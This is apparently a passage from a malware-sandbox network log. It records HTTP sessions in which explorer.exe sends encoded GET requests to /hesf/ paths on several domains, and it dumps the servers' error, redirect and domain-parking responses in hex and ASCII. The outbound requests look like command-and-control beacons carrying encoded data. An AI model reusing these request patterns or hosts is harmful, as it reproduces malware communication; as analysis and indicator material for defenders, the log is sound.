45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 6c 69 6e 6b 22 29 3b 0a 09 09 2f 2f 46 69 6e 64 20 74 68 65 20 6c 61 73 74 20 63 61 6e 6f 6e 69 63 61 6c 20 55 52 4c 0a 09 09 69 66 28 78 2e 6c 65 6e 67 74 68 20 3e 20 30 29 7b 0a 09 09 09 66 6f 72 20 28 69 3d 30 3b 69 3c 78 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 7b 0a 09 09 09 09 69 66 28 78 5b 69 5d 2e 72 65 6c 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 20 3d 3d 20 27 63 61 6e 6f 6e 69 63 61 6c 27 20 26 26 20 78 5b 69 5d 2e 68 72 65 66 29 7b 0a 09 09 09 09 09 63 61 6e 6f 6e 69 63 61 6c 55 52 4c 3d 78 5b 69 5d 2e 68 72 65 66 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 0a 09 09 2f 2f 47 65 74 20 70 72 6f 74 6f 63 6f 6c 0a 09 20 20 20 20 69 66 20 28 21 63 61 6e 6f 6e 69 63 61 6c 55 52 4c 29 7b 0a 09 20 20 20 20 09 63 75 72 50 72 6f 74 6f 63 6f 6c 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2e 73 70 6c 69 74 28 27 3a 27 29 5b 30 5d 3b 0a 09 20 20 20 20 7d 0a 09 20 20 20 20 65 6c 73 65 7b 0a 09 20 20 20 20 09 63 75 72 50 72 6f 74 6f 63 6f 6c 20 3d 20 63 61 6e 6f 6e 69 63 61 6c 55 52 4c 2e 73 70 6c 69 74 28 27 3a 27 29 5b 30 5d 3b 0a 09 20 20 20 20 7d 0a 09 20 20 20 20 2f 2f 47 65 74 20 63 75 72 72 65 6e 74 20 55 52 4c 20 69 66 20 74 68 65 20 63 61 6e 6f 6e 69 63 61 6c 20 55 52 4c 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 0a 09 20 20 20 20 69 66 Data Ascii: 669<html><head><title>403 Not Found</title></head><body><center><h1>403 Not Found</h1></center><hr><center>nginx</center><script>(function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s);})();</script><script><script>(function(){var canonicalURL, curProtocol;//Get the tagvar x=document.getElementsByTagName("link");//Find the last canonical URLif(x.length > 0){for (i=0;i<x.length;i++){if(x[i].rel.toLowerCase() == 'canonical' && x[i].href){canonicalURL=x[i].href;}}}//Get protocol if (!canonicalURL){ curProtocol = window.location.protocol.split(':')[0]; } else{ curProtocol = canonicalURL.split(':')[0]; } //Get current URL if the canonical URL does not exist if
Oct 6, 2023 15:46:24.918935061 CEST	79	IN	Data Raw: 20 28 21 63 61 6e 6f 6e 69 63 61 6c 55 52 4c 29 20 63 61 6e 6f 6e 69 63 61 6c 55 52 4c 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 0a 09 20 20 20 20 2f 2f 41 73 73 69 67 6e 20 73 63 72 69 70 74 20 63 6f 6e 74 65 6e 74 Data Ascii: (!canonicalURL) canonicalURL = window.location.href; //Assign script content. Replace current URL with the canonical URL !function(){var e=/([http\|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi,r=canonicalURL,t=document.referrer;if(!e.
Oct 6, 2023 15:46:24.918970108 CEST	79	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.8	49714	170.33.13.246	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 6, 2023 15:47:05.527481079 CEST	80	OUT	GET /hesf/?jBZ=rBBm79yWj/0scTu35nBTjefHB3yHFR/9uN8IXoi0DRbgMbd2cnMvsZYXFupsHQ3mqy7J&Gvw=T4RpitPpFtBLx HTTP/1.1 Host: www.shayun.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Oct 6, 2023 15:47:06.003338099 CEST	81	IN	HTTP/1.1 403 Forbidden Date: Fri, 06 Oct 2023 13:47:05 GMT Content-Type: text/html Content-Length: 673 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 20 53 6f 72 72 79 20 66 6f 72 20 74 68 65 20 69 6e 63 6f 6e 76 65 6e 69 65 6e 63 65 2e 3c 62 72 2f 3e 0d 0a 50 6c 65 61 73 65 20 72 65 70 6f 72 74 20 74 68 69 73 20 6d 65 73 73 61 67 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 75 73 2e 3c 62 72 2f 3e 0d 0a 54 68 61 6e 6b 20 79 6f 75 20 76 65 72 79 20 6d 75 63 68 21 3c 2f 70 3e 0d 0a 3c 74 61 62 6c 65 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 55 52 4c 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 68 74 74 70 3a 2f 2f 77 77 77 2e 73 68 61 79 75 6e 2e 6e 65 74 2f 68 65 73 66 2f 3f 6a 42 5a 3d 72 42 42 6d 37 39 79 57 6a 2f 30 73 63 54 75 33 35 6e 42 54 6a 65 66 48 42 33 79 48 46 52 2f 39 75 4e 38 49 58 6f 69 30 44 52 62 67 4d 62 64 32 63 6e 4d 76 73 5a 59 58 46 75 70 73 48 51 33 6d 71 79 37 4a 26 61 6d 70 3b 47 76 77 3d 54 34 52 70 69 74 50 70 46 74 42 4c 78 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 53 65 72 76 65 72 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 69 7a 6a 36 63 64 77 37 33 6f 71 39 37 32 73 39 73 37 78 6a 68 78 7a 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 44 61 74 65 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 32 30 32 33 2f 31 30 2f 30 36 20 32 31 3a 34 37 3a 30 35 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 2f 74 61 62 6c 65 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 2f 32 2e 33 2e 32 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center> Sorry for the inconvenience.<br/>Please report this message and include the following information to us.<br/>Thank you very much!</p><table><tr><td>URL:</td><td>http://www.shayun.net/hesf/?jBZ=rBBm79yWj/0scTu35nBTjefHB3yHFR/9uN8IXoi0DRbgMbd2cnMvsZYXFupsHQ3mqy7J&Gvw=T4RpitPpFtBLx</td></tr><tr><td>Server:</td><td>izj6cdw73oq972s9s7xjhxz</td></tr><tr><td>Date:</td><td>2023/10/06 21:47:05</td></tr></table><hr/>Powered by Tengine/2.3.2<hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.8	49715	91.195.240.19	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 6, 2023 15:47:26.584408998 CEST	82	OUT	GET /hesf/?jBZ=Zexu6rzcFbxF4r/yRE1P6uhuDniKqQl2K3Z2GVMnXCfVfpJX9615KGPJ2pRkkggZfWm9&Gvw=T4RpitPpFtBLx HTTP/1.1 Host: www.brownkrosshui.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Oct 6, 2023 15:47:26.904335976 CEST	84	IN	HTTP/1.1 200 OK date: Fri, 06 Oct 2023 13:47:26 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding x-powered-by: PHP/8.1.17 expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_Nh1jE+ZPH6FkiMhXIXgNE3BiRY7KJZSXir/jo+kbNPlv3WqxUpPB5zgVJa6pRJgXnKO+lsBVBhk9Jesw5ENKgA== last-modified: Fri, 06 Oct 2023 13:47:26 GMT x-cache-miss-from: parking-697977dd84-lqf6d server: NginX connection: close Data Raw: 32 43 45 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 4e 68 31 6a 45 2b 5a 50 48 36 46 6b 69 4d 68 58 49 58 67 4e 45 33 42 69 52 59 37 4b 4a 5a 53 58 69 72 2f 6a 6f 2b 6b 62 4e 50 6c 76 33 57 71 78 55 70 50 42 35 7a 67 56 4a 61 36 70 52 4a 67 58 6e 4b 4f 2b 6c 73 42 56 42 68 6b 39 4a 65 73 77 35 45 4e 4b 67 41 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 62 72 6f 77 6e 6b 72 6f 73 73 68 75 69 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 62 72 6f 77 6e 6b 72 6f 73 73 68 75 69 20 52 65 73 6f 75 72 63 65 73 20 61 6e 64 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 62 72 6f 77 6e 6b 72 6f 73 73 68 75 69 2e 63 6f 6d 20 69 73 20 79 6f 75 72 20 66 69 72 73 74 20 61 6e 64 20 62 65 73 74 20 73 6f 75 72 63 65 20 66 6f 72 20 61 6c 6c 20 6f 66 20 74 68 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 79 6f 75 e2 80 99 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e Data Ascii: 2CE<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_Nh1jE+ZPH6FkiMhXIXgNE3BiRY7KJZSXir/jo+kbNPlv3WqxUpPB5zgVJa6pRJgXnKO+lsBVBhk9Jesw5ENKgA==><head><meta charset="utf-8"><title>brownkrosshui.com - brownkrosshui Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="brownkrosshui.com is your first and best source for all of the information youre looking for.
Oct 6, 2023 15:47:26.904655933 CEST	85	IN	Data Raw: 20 46 72 6f 6d 20 67 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d 6f 72 65 20 6f 66 20 77 68 61 74 20 79 6f 75 20 77 6f 75 6c 64 20 65 78 70 65 63 74 20 74 6f 20 66 69 6e 64 20 68 65 72 65 2c 20 62 72 6f 77 6e 6b 72 6f 73 73 68 75 69 2e Data Ascii: From general topics to more of what you would expect to find here, brownkrosshui.com has it all. We hope AECyou find what you are searching for!"><link rel="icon" type="image/png" href="//img.sedoparking.com/templa
Oct 6, 2023 15:47:26.904704094 CEST	86	IN	Data Raw: 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a Data Ascii: rflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[type=reset],[type=submit]{-webkit-app
Oct 6, 2023 15:47:26.904755116 CEST	87	IN	Data Raw: 65 6d 65 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 65 31 36 32 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 70 61 64 64 69 6e 67 3a 30 20 35 70 78 7d 2e 61 6e 6e 6f 75 6e 63 65 6d 65 6e 74 20 70 7b 63 6f 6c 6f 72 3a 23 38 34 Data Ascii: ement{background:#0e162e;text-align:center;padding:0 5px}.announcement p{color:#848484}.announcement a{color:#848484}.container-header{margin:0 auto 0 auto;text-align:center}.container-header__content{color:#848484}.container-buybox{text-align
Oct 6, 2023 15:47:26.904799938 CEST	88	IN	Data Raw: 72 2d 69 6d 70 72 69 6e 74 5f 5f 63 6f 6e 74 65 6e 74 2d 74 65 78 74 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 69 6d 70 72 69 6e 74 5f 5f 63 6f 6e 74 65 6e 74 2d 6c 69 6e 6b 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 70 78 3b 63 6f 6c 6f 72 3a 23 39 34 39 Data Ascii: r-imprint__content-text,.container-imprint__content-link{font-size:10px;color:#949494}.container-contact-us{text-align:center}.container-contact-us__content{display:inline-block}.container-contact-us__content-text,.container-contact-us__conten
Oct 6, 2023 15:47:26.904849052 CEST	89	IN	Data Raw: 31 44 32 36 0d 0a 63 6f 6f 6b 69 65 2d 6d 65 73 73 61 67 65 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 62 6f 74 74 6f 6d 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 66 35 66 35 66 3b 66 6f 6e 74 2d 73 69 Data Ascii: 1D26cookie-message{position:fixed;bottom:0;width:100%;background:#5f5f5f;font-size:12px;padding-top:15px;padding-bottom:15px}.container-cookie-message__content-text{color:#fff}.container-cookie-message__content-text{margin-left:15%;margin-ri
Oct 6, 2023 15:47:26.904896021 CEST	91	IN	Data Raw: 61 6c 2d 77 69 6e 64 6f 77 5f 5f 63 6f 6e 74 65 6e 74 2d 62 6f 64 79 20 74 61 62 6c 65 20 74 64 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 35 70 78 7d 2e 63 6f 6f 6b 69 65 2d 6d 6f 64 61 6c 2d 77 69 6e 64 6f 77 5f 5f 63 6f 6e 74 65 6e 74 2d 6e Data Ascii: al-window__content-body table td{padding-left:15px}.cookie-modal-window__content-necessary-cookies-row{background-color:#dee1e3}.disabled{display:none;z-index:-999}.btn{display:inline-block;border-style:solid;border-radius:5px;padding:15px 25p
Oct 6, 2023 15:47:26.904946089 CEST	92	IN	Data Raw: 23 35 61 36 32 36 38 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 2e 34 73 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 2e 34 73 7d 2e 73 77 69 74 63 68 5f 5f 73 6c 69 64 65 72 3a 62 65 66 6f 72 65 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f Data Ascii: #5a6268;-webkit-transition:.4s;transition:.4s}.switch__slider:before{position:absolute;content:"";height:26px;width:26px;left:4px;bottom:4px;background-color:#fff;-webkit-transition:.4s;transition:.4s}.switch__slider--round{border-radius:34px}
Oct 6, 2023 15:47:26.904994011 CEST	93	IN	Data Raw: 74 65 6e 74 5f 5f 68 65 61 64 65 72 7b 63 6f 6c 6f 72 3a 23 38 34 38 34 38 34 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 6d 61 72 67 69 6e 3a 30 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 5f 5f 6c 65 66 74 7b 62 61 63 6b 67 72 Data Ascii: tent__header{color:#848484;font-size:15px;margin:0}.container-content__left{background:url("//img.sedoparking.com/templates/bg/arrows-curved.png") #0e162e no-repeat center left;background-size:94% 640px;flex-grow:2;z-index:-1;top:50px;position
Oct 6, 2023 15:47:26.905041933 CEST	95	IN	Data Raw: 74 5f 6a 75 73 74 61 64 73 2e 67 69 66 22 29 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 33 32 70 78 7d 2e 74 77 6f 2d 74 69 65 72 2d 61 64 73 2d 6c 69 73 74 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 63 6f 6e 74 65 Data Ascii: t_justads.gif");float:left;padding-top:32px}.two-tier-ads-list__list-element-content{display:inline-block}.two-tier-ads-list__list-element-header-link{font-size:37px;font-weight:bold;text-decoration:underline;color:#9fd801}.two-tier-ads-list__
Oct 6, 2023 15:47:27.187711954 CEST	96	IN	Data Raw: 72 6d 61 6c 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6c 6f 77 65 72 63 61 73 65 3b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 23 63 6f 6e 74 61 69 6e 65 72 2d 64 6f 6d 61 69 6e Data Ascii: rmal;text-decoration:none;text-transform:lowercase;color:#949494}#container-domain{display:block;text-align:center}#plBanner{margin:0px 0px 20px 0px;width:100%;height:140px;text-align:center}.nc-img{width:100%;height:auto;max-width:1440px}.nc-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.8	49716	62.72.50.244	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 6, 2023 15:47:46.016751051 CEST	108	OUT	GET /hesf/?jBZ=p36eIKN5Lwa/8BGKFMSG6AYkxDDJkwu9kGEjCpPHv7kROoaFrm0HZc0Jy9RwJeFaeZw5&Gvw=T4RpitPpFtBLx HTTP/1.1 Host: www.usbulletinnow.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Oct 6, 2023 15:47:46.152431965 CEST	109	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Fri, 06 Oct 2023 13:47:46 GMT server: LiteSpeed location: https://www.usbulletinnow.com/hesf/?jBZ=p36eIKN5Lwa/8BGKFMSG6AYkxDDJkwu9kGEjCpPHv7kROoaFrm0HZc0Jy9RwJeFaeZw5&Gvw=T4RpitPpFtBLx platform: hostinger content-security-policy: upgrade-insecure-requests Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e 74 6c 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.8	49719	66.96.160.140	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 6, 2023 15:48:06.495640039 CEST	144	OUT	GET /hesf/?jBZ=bZ0cL2W3356ZdQMSZx0hbFAlBxxbFCW9aXPVjCHIIl88pIGO5acXFwKQ6PqG5/DWthgZ&Gvw=T4RpitPpFtBLx HTTP/1.1 Host: www.im-newbie-journal.online Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Oct 6, 2023 15:48:06.739032984 CEST	145	IN	HTTP/1.1 302 Found Date: Fri, 06 Oct 2023 13:48:06 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 321 Connection: close Server: Apache/2 Location: https://www.im-newbie-journal.online/hesf/?jBZ=bZ0cL2W3356ZdQMSZx0hbFAlBxxbFCW9aXPVjCHIIl88pIGO5acXFwKQ6PqG5/DWthgZ&Gvw=T4RpitPpFtBLx Cache-Control: max-age=3600 Expires: Fri, 06 Oct 2023 14:48:06 GMT Age: 0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 69 6d 2d 6e 65 77 62 69 65 2d 6a 6f 75 72 6e 61 6c 2e 6f 6e 6c 69 6e 65 2f 68 65 73 66 2f 3f 6a 42 5a 3d 62 5a 30 63 4c 32 57 33 33 35 36 5a 64 51 4d 53 5a 78 30 68 62 46 41 6c 42 78 78 62 46 43 57 39 61 58 50 56 6a 43 48 49 49 6c 38 38 70 49 47 4f 35 61 63 58 46 77 4b 51 36 50 71 47 35 2f 44 57 74 68 67 5a 26 61 6d 70 3b 47 76 77 3d 54 34 52 70 69 74 50 70 46 74 42 4c 78 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://www.im-newbie-journal.online/hesf/?jBZ=bZ0cL2W3356ZdQMSZx0hbFAlBxxbFCW9aXPVjCHIIl88pIGO5acXFwKQ6PqG5/DWthgZ&Gvw=T4RpitPpFtBLx">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.8	49720	103.224.182.242	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 6, 2023 15:48:27.268038988 CEST	146	OUT	GET /hesf/?jBZ=C6m+T/QSDYRxkia6wo2b10sg9WxaAAR9Ewn+rwYRRUW3VljC+LgrolCw9oI9hSyVjjh+&Gvw=T4RpitPpFtBLx HTTP/1.1 Host: www.tygyro.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Oct 6, 2023 15:48:27.500077009 CEST	146	IN	HTTP/1.1 302 Found date: Fri, 06 Oct 2023 13:48:27 GMT server: Apache set-cookie: __tad=1696600107.6238826; expires=Mon, 03-Oct-2033 13:48:27 GMT; Max-Age=315360000 location: http://ww38.tygyro.com/hesf/?jBZ=C6m+T/QSDYRxkia6wo2b10sg9WxaAAR9Ewn+rwYRRUW3VljC+LgrolCw9oI9hSyVjjh+&Gvw=T4RpitPpFtBLx&subid1=20231007-0048-2766-ac03-851b49f23700 content-length: 2 content-type: text/html; charset=UTF-8 connection: close Data Raw: 0a 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.8	49721	75.2.115.196	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 6, 2023 15:48:47.739145994 CEST	147	OUT	GET /hesf/?jBZ=Yl+PPX/Fw39a2JSf74vYq4wd93NvWGX3Wu4/ealva/bJOpk7yrAe/vXYfNyLtgAB6gnO&Gvw=T4RpitPpFtBLx HTTP/1.1 Host: www.87b52.club Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
